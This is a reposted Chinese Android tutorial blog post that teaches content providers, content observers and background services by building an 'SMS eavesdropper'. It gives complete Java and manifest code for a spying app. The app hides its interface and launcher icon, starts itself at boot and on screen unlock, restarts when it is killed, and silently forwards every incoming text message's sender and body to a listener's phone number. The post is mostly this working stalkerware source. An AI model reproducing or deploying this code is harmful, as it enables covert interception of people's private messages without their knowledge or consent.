通过短信窃听器来讲解内容提供者,内容观察者,以及无界面后台运行服务,开机启动和杀死服务后重新启动
来源:互联网 发布:qqlogin js 编辑:程序博客网 时间:2024/04/29 06:46
[置顶] 通过短信窃听器来讲解内容提供者,内容观察者,以及无界面后台运行服务,开机启动和杀死服务后重新启动
分类: android编程笔记2013-12-24 22:56 3144人阅读 评论(5) 收藏 举报
ContentProviderbroadcastreceiver无界面内容观察者服务
第一步:我们讲解怎样做一个无界面和应用图标的的应用程序。我这里用的是隐式启动Activity,这样启动就不会带界面和图标,其实做开启启动非常容易,写一个广播事件进行监听,并注册在清单文件中,一会我们在介绍怎么做到开机启动服务。回归正题:如果没有activity就不能做到安装就运行,所以我们要有activity,但是又不能有界面和图标,那就得这么做,看代码吧!如下:
红线部分就是比较重点的代码,上边有解释,我就不多说了,只要加上上边红色部分的代码,就能做到启动Activity没有界面和图标。
第二步:服务开机自动启动。首先我们应该写一个开机自动启动的广播,代码如下:
- package net.loonggg.testbackstage;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- public class BootReceiver extends BroadcastReceiver {
- @Override
- public void onReceive(Context context, Intent intent) {
- Intent mBootIntent = new Intent(context, TestService.class);
- context.startService(mBootIntent);
- }
- }
然后是非常重要的服务Service的代码:
- package net.loonggg.testbackstage;
- import android.app.Service;
- import android.content.ContentResolver;
- import android.content.Intent;
- import android.database.ContentObserver;
- import android.database.Cursor;
- import android.net.Uri;
- import android.os.Handler;
- import android.os.IBinder;
- import android.telephony.SmsManager;
- public class TestService extends Service {
- @Override
- public IBinder onBind(Intent intent) {
- return null;
- }
- @Override
- public void onCreate() {
- super.onCreate();
- ContentResolver resolver = getContentResolver();
- Uri uri = Uri.parse("content://sms/");
- resolver.registerContentObserver(uri, true, new MyObserver(
- new Handler()));
- }
- @Override
- public int onStartCommand(Intent intent, int flags, int startId) {
- flags = START_STICKY;// START_STICKY(或START_STICKY_COMPATIBILITY)是service被kill掉后自动重写创建
- return super.onStartCommand(intent, flags, startId);
- // return START_REDELIVER_INTENT;
- }
- private class MyObserver extends ContentObserver {
- public MyObserver(Handler handler) {
- super(handler);
- }
- @Override
- public void onChange(boolean selfChange) {
- super.onChange(selfChange);
- ContentResolver resolver = getContentResolver();
- Uri uri = Uri.parse("content://sms/");
- Cursor cursor = resolver.query(uri, new String[] { "address",
- "body" }, null, null, null);
- cursor.moveToFirst();
- String address = cursor.getString(cursor.getColumnIndex("address"));
- String body = cursor.getString(cursor.getColumnIndex("body"));
- String smsContent = "number:" + address + "--content:" + body;
- SmsManager smsManager = SmsManager.getDefault();
- // 下边的注释是超过70个字符,分条发送,这里不需要
- // if (smsContent.length() > 70) {
- // List<String> contents = smsManager.divideMessage(smsContent);
- // for (String sms : contents) {
- // smsManager.sendTextMessage("5556", null, sms, null, null);
- // }
- // } else {
- smsManager.sendTextMessage("5556", null, smsContent, null, null);
- // }
- cursor.close();
- }
- }
- public void onDestroy() {
- Intent localIntent = new Intent();
- localIntent.setClass(this, TestService.class); // 销毁时重新启动Service
- this.startService(localIntent);
- }
- }
红色部分代码就是广播里面有关开机启动的代码,黑色的那两行与杀死进程再重新启动有关!
第三步:被管理进程的软件杀死服务后,再重新启动的方法。首先将服务的优先级设为最大,这样不容易在内存不够时,被先杀死,然后就是将广播的优先级加最高,最重要的就是上边图片中那两行的画黑线的代码,它们会在锁屏和情景变化时,启动广播,从而重新启动服务。代码如下:
在TestService中,更重要的代码是:
- @Override
- public int onStartCommand(Intent intent, int flags, int startId) {
- flags = START_STICKY;// START_STICKY(或START_STICKY_COMPATIBILITY)是service被kill掉后自动重写创建
- return super.onStartCommand(intent, flags, startId);
- // return START_REDELIVER_INTENT;
- }
- public void onDestroy() {
- Intent localIntent = new Intent();
- localIntent.setClass(this, TestService.class); // 销毁时重新启动Service
- this.startService(localIntent);
- }
为什么重要,代码中都有解释,一个是在销毁时重新启动服务,另一个是返回START_STICKY代表service被kill掉后会自动重写创建。
第四步:通过内容观察者和内容提供者监听短信,内容观察者是观察系统短信的变化,只要系统短信变化,内容观察者就能监听到,通过内容提供者获取短信内容,再把内容发送到监听者的手机或者上传到服务器,我在这里用的是将监听到的短信内容发送到监听者的手机中!代码就在TestService中,代码如下:
- @Override
- public void onCreate() {
- super.onCreate();
- ContentResolver resolver = getContentResolver();
- Uri uri = Uri.parse("content://sms/");
- /**
- * 第一个参数不用解释,第二个参数notifyForDescendents这个需要解释,true代表主机的主要Uri一样就会触发,发送消息,
- * false代表必须非常精确的Uri一样才能触发,发送消息,第三个参数也不用解释,就是内容观察者
- */
- resolver.registerContentObserver(uri, true, new MyObserver(
- new Handler()));
- }
- private class MyObserver extends ContentObserver {
- public MyObserver(Handler handler) {
- super(handler);
- }
- /**
- * 当内容观察者,观察到数据库的内容发生变化的时候,调用这个方法 。 观察到消息邮箱里面有一条数据库内容变化的通知
- */
- @Override
- public void onChange(boolean selfChange) {
- super.onChange(selfChange);
- ContentResolver resolver = getContentResolver();
- Uri uri = Uri.parse("content://sms/");
- Cursor cursor = resolver.query(uri, new String[] { "address",
- "body" }, null, null, null);
- cursor.moveToFirst();
- String address = cursor.getString(cursor.getColumnIndex("address"));
- String body = cursor.getString(cursor.getColumnIndex("body"));
- String smsContent = "number:" + address + "--content:" + body;
- SmsManager smsManager = SmsManager.getDefault();
- // 下边的注释是超过70个字符,分条发送,这里不需要
- // if (smsContent.length() > 70) {
- // List<String> contents = smsManager.divideMessage(smsContent);
- // for (String sms : contents) {
- // smsManager.sendTextMessage("5556", null, sms, null, null);
- // }
- // } else {
- smsManager.sendTextMessage("5556", null, smsContent, null, null);
- // }
- cursor.close();
- }
- }
- <?xml version="1.0" encoding="utf-8"?>
- <manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="net.loonggg.testbackstage"
- android:versionCode="1"
- android:versionName="1.0" >
- <uses-sdk
- android:minSdkVersion="8"
- android:targetSdkVersion="17" />
- <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
- <uses-permission android:name="android.permission.READ_SMS" />
- <uses-permission android:name="android.permission.SEND_SMS" />
- <uses-permission android:name="android.permission.READ_PHONE_STATE" />
- <application
- android:allowBackup="true"
- android:label="@string/app_name"
- android:persistent="true"
- android:theme="@style/AppTheme" > <!-- 切记, android:persistent="true"这个不可滥用,系统中用这个的service,app一多,整个系统就完蛋了。 -->
- <service
- android:name=".TestService"
- android:priority="1000" > <!-- 优先级设置成最大 -->
- </service>
- <receiver
- android:name=".BootReceiver"
- android:priority="2147483647" > <!-- 优先级加最高 -->
- <intent-filter>
- <!-- 系统启动完成后会调用 -->
- <action android:name="android.intent.action.BOOT_COMPLETED" />
- <!-- 解锁完成后会调用 -->
- <action android:name="android.intent.action.USER_PRESENT" />
- <!-- 监听情景切换 -->
- <action android:name="android.media.RINGER_MODE_CHANGED" />
- </intent-filter>
- </receiver>
- <activity
- android:name=".MainActivity"
- android:label="@string/app_name"
- android:theme="@android:style/Theme.NoDisplay" > <!-- 无界面 -->
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- <!-- 隐式启动Activity,不会显示图标 -->
- <data
- android:host="”MainActivity”"
- android:scheme="”net.loonggg.testbackstage”" />
- </intent-filter>
- </activity>
- </application>
- </manifest>
转载请注明出处:http://blog.csdn.net/loongggdroid/article/details/17538407
0 0
- 通过短信窃听器来讲解内容提供者,内容观察者,以及无界面后台运行服务,开机启动和杀死服务后重新启动
- 通过短信窃听器来讲解内容提供者,内容观察者,以及无界面后台运行服务,开机启动和杀死服务后重新启动
- 通过短信讲解内容提供者,内容观察者,以及无界面后台运行服务,开机启动和杀死服务后重新启动
- android 内容观察者之短信窃听器
- 开机启动一个服务Service,启动后没有界面后台暗暗运行
- android开机启动无界面服务线程
- android开机启动无界面服务线程
- (内容提供者)备份短信和添加短信
- 内容提供者、内容解析者和内容观察者
- android广播实现短信窃听器和开机自动启动activity
- 短信的内容提供者
- Android-内容提供者、ListView点击事件、观察者、监听短信/联系人
- windows 自制后台运行进程、exe开机自启动服务
- 内容提供者ContentProvider和内容观察者ContentObserver的使用
- 如何用C#语言通过服务来实现开机启动?
- 通过短信窃听器来理解BroadcastReceiver:
- Dubbo 服务提供者启动成功后,消费者调用服务失败
- android,内容提供者,短信发送
- C++中vector使用详细说明
- callback函数使用
- 使用Spring-Data-Redis存储对象(redisTemplate)
- 好看的网页字体
- C++11 变量和函数的链接性
- 通过短信窃听器来讲解内容提供者,内容观察者,以及无界面后台运行服务,开机启动和杀死服务后重新启动
- android 时间格式及时间差问题
- 机器视觉中的灰度形态学
- RBF神经网络中bewrb()与newrbe()的区别
- Android 自定义View
- GDI+学习笔记7-统计报表的图形绘制
- 9-2
- 剑指offer:替换空格
- 看完了这个简短的故事,你会有什么感触?